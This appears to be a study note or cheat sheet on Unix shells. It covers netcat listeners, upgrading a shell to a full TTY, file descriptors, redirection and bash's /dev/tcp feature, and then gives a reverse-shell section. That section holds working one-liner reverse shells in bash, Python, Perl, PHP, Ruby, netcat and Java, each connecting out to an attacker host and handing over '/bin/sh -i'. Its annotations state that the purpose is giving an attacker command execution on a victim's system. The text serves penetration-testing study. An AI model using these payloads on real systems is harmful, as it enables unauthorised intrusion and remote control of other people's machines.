Comfortable Shell
Refs:
# -l: listen, used to specify that nc should listen for an incoming connection rather than initiate a connection to a remote host.
# -v: verbose output.
# -n: no dns, do not do any DNS or service lookups on any specified addresses, hostnames or ports.
# -p: source port.
rlwrap nc -lvnp $port
# better shell
dpkg -l | grep python
python -c "import pty;pty.spawn('/bin/bash')"
stty raw -echo
export TERM=xterm-color
File descriptor
File descriptors are a fundamental concept in Unix-like operating systems, including Linux and macOS. They are used to identify and manipulate input/output (I/O) resources such as files
, pipes
, sockets
, and devices
.
In Unix systems, everything is treated as a file, including hardware devices and network sockets. Each file has a unique file descriptor associated with it, which is a non-negative integer used to identify the file in the system. The first three file descriptors, 0, 1, and 2, are reserved for standard input (stdin
), standard output (stdout
), and standard error (stderr
), respectively.
The file descriptor mechanism allows processes to read from or write to files or other I/O resources using a common set of system calls, such as open()
, read()
, write()
, and close()
. By using file descriptors, processes can easily redirect their input or output to other files or pipes, or even across a network to other machines.
All in all, file descriptors play a crucial role in the Unix philosophy of treating everything as a file, and provide a unified and flexible way for processes to access and manipulate I/O resources in a consistent manner.
Shell Redirection
>, >>, <
n>, n>>
&>, >& target
=1> target 2>&1
;&>>
|
tee
Exploration:
strace -f bash -c 'bash -i /dev/tcp/127.0.0.1/4444 0>&1' > strace.out
cat strace.out | grep -n '127.0.0.1'
# Output(version 2018):
199: [pid 5106] socket(AF_INET, SOCK_STREAM, IPPROTO_TCP) = 3
200: [pid 5106] connect(3, {sa_family=AF_INET, sin_port=htons(4444), sin_addr=inet_addr("127.0.0.1")}, 16) = 0
201: [pid 5106] dup2(3, 1) = 1
202: [pid 5106] close(3) = 0
203: [pid 5106] dup2(1, 2) = 2
204: [pid 5106] dup2(1, 0) = 0
205: [pid 5106] fcntl(1, F_GETFD) = 0
206: [pid 5106] execve("/bin/bash", ["bash", "-i"], 0x2485008 /* 57 vars */) = 0
Using redictions is not like connecting tubes, while >
and <
are value assignments. When ls -l > dir.list
, it is not "sending" the output of ls to the dir.list file. It is actually assigning the dir.list file to the standard output of ls.
>
checks if a target is available for writing<
checks if a target is available for reading
sh vs bash vs zsh
-
/bin/sh is /bin/bash ?
-
If bash is invoked with the name sh, it tries to mimic the startup behavior of historical versions of sh as closely as possible, while conforming to the POSIX standard as well.
-
When invoked as an interactive login shell, or a non-interactive shell with the --login option, it first attempts to read and execute commands from
/etc/profile
,~/.profile
,~/.bashrc
and etc, in that order. The --noprofile option may be used to inhibit this behavior. -
When invoked as an interactive shell with the name sh, bash looks for the variable ENV, expands its value if it is defined, and uses the expanded value as the name of a file to read and execute. Since a shell invoked as sh does not attempt to read and execute commands from any other startup files, the --rcfile option has no effect. A non-interactive shell invoked with the name sh does not attempt to read any other startup files. When invoked as sh, bash enters posix mode after the startup files are read.
-
-
Why
/dev/tcp/host/port
not works in zsh and fish:-
The feature is a bashism, meaning it is not a standard feature of all shells.
-
Bash implements this feature by creating a socket file descriptor and redirecting it to the standard input, output, or error streams of a command. However, other shells like zsh and fish do not support this feature.
-
If you need to use
/dev/tcp/host/port
in zsh or fish, you can try using thenc
orsocat
command instead.
-
# bash
echo hello,world > /dev/tcp/127.0.0.1/4444
# other shells:
echo "hello" | nc 127.0.0.1 4444 # zsh
echo "hello" | nc -c 127.0.0.1 4444 # fish
echo "hello" | socat - TCP4:127.0.0.1:4444
Interactive Shell
Here, we mainly talk about bash. According to the Bash man page (man bash
), option -i
means starting an interactive shell.
-
In interactive mode, when Bash shell is started with the
-i
option, it sets the standard input to a terminal device (usually a terminal window) and sets the shell to read and execute commands entered by the user. This allows the user to interact with the shell and run commands in the shell, just like in a terminal window. -
In non-interactive mode, Bash shell is typically used for batch processing tasks or automation scripts. In this mode, the shell does not wait for user input but reads commands from a script or standard input. In this case, the shell usually does not have a terminal device available and cannot perform interactive operations.
Reverse Shell
Refs:
- https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
- https://hypothetical.me/post/reverse-shell-in-bash/
- https://www.gnucitizen.org/blog/reverse-shell-with-bash/
Bash
# 1. Host machine
nc -lvnp 4444
# 2. Remote machine
## Method1
bash -i >& /dev/tcp/$IP/4444 0>&1
## Method2, conn.sh: more general
```
exec 5<>/dev/tcp/$IP/4444
cat <&5 | while read line; do $line 2>&5 >&5; done
```
bash conn.sh
# This Bash script establishes a TCP connection to $IP on port $Port and associates
# file descriptor 5 with both input and output of the connection. It then reads data from
# the input of the socket, executes each line as a command, and redirects the output of
# the command back to the output of the socket. The purpose of this script is to give remote
# command execution control to an attacker at $IP, who can execute arbitrary commands
# on the victim's system using this control.
## Other shells (zsh, fish)
# Explain the details inside this command.
bash -i >& /dev/tcp/$IP/4444 0>&1
- first, Bash will check if special files
/dev/tcp/<host>/<port>
are supported by your OS and if they aren’t, it will emulate them by opening a TCP connection to$IP:4444
for you - it will also reassign all three standard streams (stdin, stdout, and stderr) to the socket with this new connection, so all the output will go into, and input will be read from this socket
- then it will start a new interactive Bash session
Python
Environment ok:
one-line rshell:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
unfold one-line py script for easier comprehension:
import socket,subprocess,os;
# create a socket obj that uses IPv4 address family (socket.AF_INET) and TCP protocol (socket.SOCK_STREAM) for communication.
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);
# establish a TCP connection with a remote host.
# after this, the socket obj can be used to send and receive data.
s.connect(("10.0.0.1",1234));
# duplicate the file descriptor for the socket object onto the standard input, output, and error streams of the current process
# this allows the process to use the socket object for input and output instead of the standard streams
os.dup2(s.fileno(),0); # s.fileno() returns the integer file descriptor associated with the socket obj s.
os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);
# execute a shell command ("/bin/sh -i") with its standard input and output redirected to the socket object
# this allows the attacker to execute arbitrary commands on the victim's system through the established connection
p=subprocess.call(["/bin/sh","-i"]);
Perl
one-line rshell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
more featureful and robust rshell-file: perl-rshell.perl
PHP
one-line rshell:
This code assumes that the TCP connection uses file descriptor 3; if does not work, try 4, 5, 6 ...
php -r '$sock=fsockopen("10.134.188.54",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
more featureful and robust rshell-file: php-rshell.php
Ruby
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
Java
Ref: Java Reverse Shell
r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
p.waitFor()